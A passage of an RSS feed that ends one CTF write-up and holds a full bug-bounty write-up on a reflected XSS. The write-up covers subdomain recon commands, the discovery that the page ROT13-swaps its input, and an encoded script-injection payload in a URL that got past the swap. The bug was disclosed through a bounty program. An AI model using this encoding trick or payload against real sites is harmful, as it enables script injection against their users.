yzpc2qlUo_WZbVx-j2dqdor595YJ1SiaJ7c5vcx1a2OpgyjF9Ws_bQlQ1b7hFdURtBvmWJMvdbnpVnzUtgJ2WO-yzxb1ZQ8vii6J6iMzwa0ZXewxJk6sdu51SFofVXM57aZUR3jXUwa1tSJyIxXb80kSkfy5_cR8YwuouwbM9eiJv7Jdp5oI77fW3YOUyRcQBc2cpZ5pY4qB9YlBfpbO2u3j0FFOgXlnIpx-1Z8yiarWuawxyX74kMcu8_-yQR3brnV7qxB71QlbvB6bRqmuklm2Rn</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyvqk-jR1f4uMvv7Qjqb3Q.png" /></figure><p>FLAG: <strong>CTF{acc355-t0k3n5} ; Points: 230</strong></p><p>Thank you. Special thanks to <a href="https://twitter.com/BSidesSF">@BSidesSF</a> for hosting such amazing CTF.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=302880fe8165" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Decoding Puzzled XSS: Unveiling the Hidden Vulnerability]]></title>
            <link>https://infosecwriteups.com/decoding-puzzled-xss-unveiling-the-hidden-vulnerability-5980b4c8fc30?source=rss-295ad504dab1------2</link>
            <guid isPermaLink="false">https://medium.com/p/5980b4c8fc30</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Shlok K]]></dc:creator>
            <pubDate>Sun, 16 Jul 2023 23:35:54 GMT</pubDate>
            <atom:updated>2023-07-24T05:31:34.084Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. <a href="https://bugcrowd.com/pphreak_1001">Shlok (pphreak_100)</a> this side. This is my first published writeup and hence any suggestions will be highly appreciated.</p><h3>Summary:</h3><p>This article describes a Cross Site Scripting vulnerability I discovered while participating in a private Bugcrowd bug bounty programme. The domain used user input and swap out each character with a different one before displaying the result on screen. The swap algorithm was decipherable for me, and I received a successful prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-J6ob3hG4FZh-DpnZiQMg.png" /></figure><h3>Recon Phase:</h3><p>During the recon phase, I took advantage of the program’s wildcard scope, allowing me to explore various subdomains. To kick things off, I employed the powerful tool called subfinder, which successfully enumerated an impressive 3428 subdomains for me. Here’s the command I used:</p><pre>subfinder -all -dL scope.txt -o subs.txt</pre><p>With the list of subdomains in hand, my next step was to identify the live ones using httpx and save the results as an output. I executed the following command:</p><pre>cat subs.txt | httpx -o live.txt</pre><p>To streamline the process further, I eliminated any out-of-scope domains from the live subdomains list using the following command:</p><pre>grep -Fvf outofscope.txt live.txt &gt;&gt; finallive.txt</pre><p>Now it was time to focus on PHP-based domains as i always prefer them before. By executing the following command, I filtered the live subdomains list to identify PHP-based domains:</p><pre>cat finallive.txt | httpx -status-code -tech-detect -title | grep PHP</pre><p>This search revealed one intriguing domain, which we’ll refer to as <strong>redacted.target.com</strong>.</p><p>With the domain in hand, the next logical step was to perform fuzzing on the target. I utilized Ffuf and a wordlist (raft-large-words.txt) to fuzz the target URL, exploring various extensions such as .php, .js, .json, .txt, .sql, .tar.gz, .bkp, .html, .htm, and .zip. The command used was as follows:</p><pre>ffuf -w Seclists/Discovery/Web-Content/raft-large-words.txt -u https://redacted.target.com/FUZZ -e .php,.php.bak,.js,.json,.txt,.sql,.tar.gz,.bkp,.html,.htm,.zip -mc 200,301 -ac</pre><p>Through this fuzzing process, I stumbled upon a particularly interesting file named <strong>password.php</strong>, which immediately caught my attention.</p><p>Without wasting any time, I proceeded to manually visit the URL associated with the discovered file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tP6-ow_Wica0opEH" /></figure><p>Looks like a Simple Page. Right? . No its not!!</p><p>Excitedly, I delved into the page source, eagerly searching for clues and hidden gems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6kf4RbCwqHMA5pT0" /></figure><p>And there it was, a meta tag with three intriguing input parameters: <strong>token</strong>, <strong>uid</strong>, and <strong>email</strong>. My curiosity piqued, I wasted no time and turned to my trusty ally, Arjun, for parameter discovery. Armed with the command below, I set out on my exploration:</p><pre>arjun -u https://redacted.target.com</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M-S6WF_2Yy4otyCu" /></figure><p>Crafting a URL with anticipation, I constructed the following:</p><p><strong>https://redacted.target.com/password.php?e=&quot;&gt;abcdefghijkl</strong></p><p>Balancing the payload with precision, I couldn’t wait to see the magic unfold. However, to my surprise, instead of finding “<strong>abcdefghijkl</strong>” outside the meta tag, I was met with a flurry of seemingly random and jumbled word.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WgXPSRyvwmWXddeh" /></figure><p>Not one to be discouraged, I embarked on a quest to create a payload using a single letter. I started with <strong>?e=”&gt;a”</strong> and progressively moved through the alphabet. After some persistence and careful observation, I finally struck gold.</p><p>Each alphabet was swapped and the algorithm was as below.</p><p><strong>a=n, b=o, c=p, d=q, e=r, f=s, g=t, h=u, i=v, j=w, k=x, l=y, m=z, n=a, o=b, p=c, q=d, r=e, s=f, t=g, u=h, v=i, w=j, x=k, y=l ,z=m .</strong></p><h3>Exploitation Phase:</h3><p>Now it was time to create the final payload:</p><p><a href="https://redacted.target.com/password.php?e="><strong>https://redacted.target.com/password.php?e=</strong></a><strong>”&gt;&lt;fpevcg&gt;cebzcg(1)&lt;/fpevcg&gt;</strong></p><p>And here was the moment of triumph :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HNWJYUoI2PckCjo5" /></figure><p>Thank you!!</p><h3>TIMELINE:</h3><h4>Reported: 17 May 2023</h4><h4>Triaged: 19 May 2023</h4><h4>Rewarded: $$$ on 22 May 2023</h4><h4>Resolved: 23 May 2023</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5980b4c8fc30" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/decoding-puzzled-xss-unveiling-the-hidden-vulnerability-5980b4c8fc30">Decoding Puzzled XSS: Unveiling the Hidden Vulnerability</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>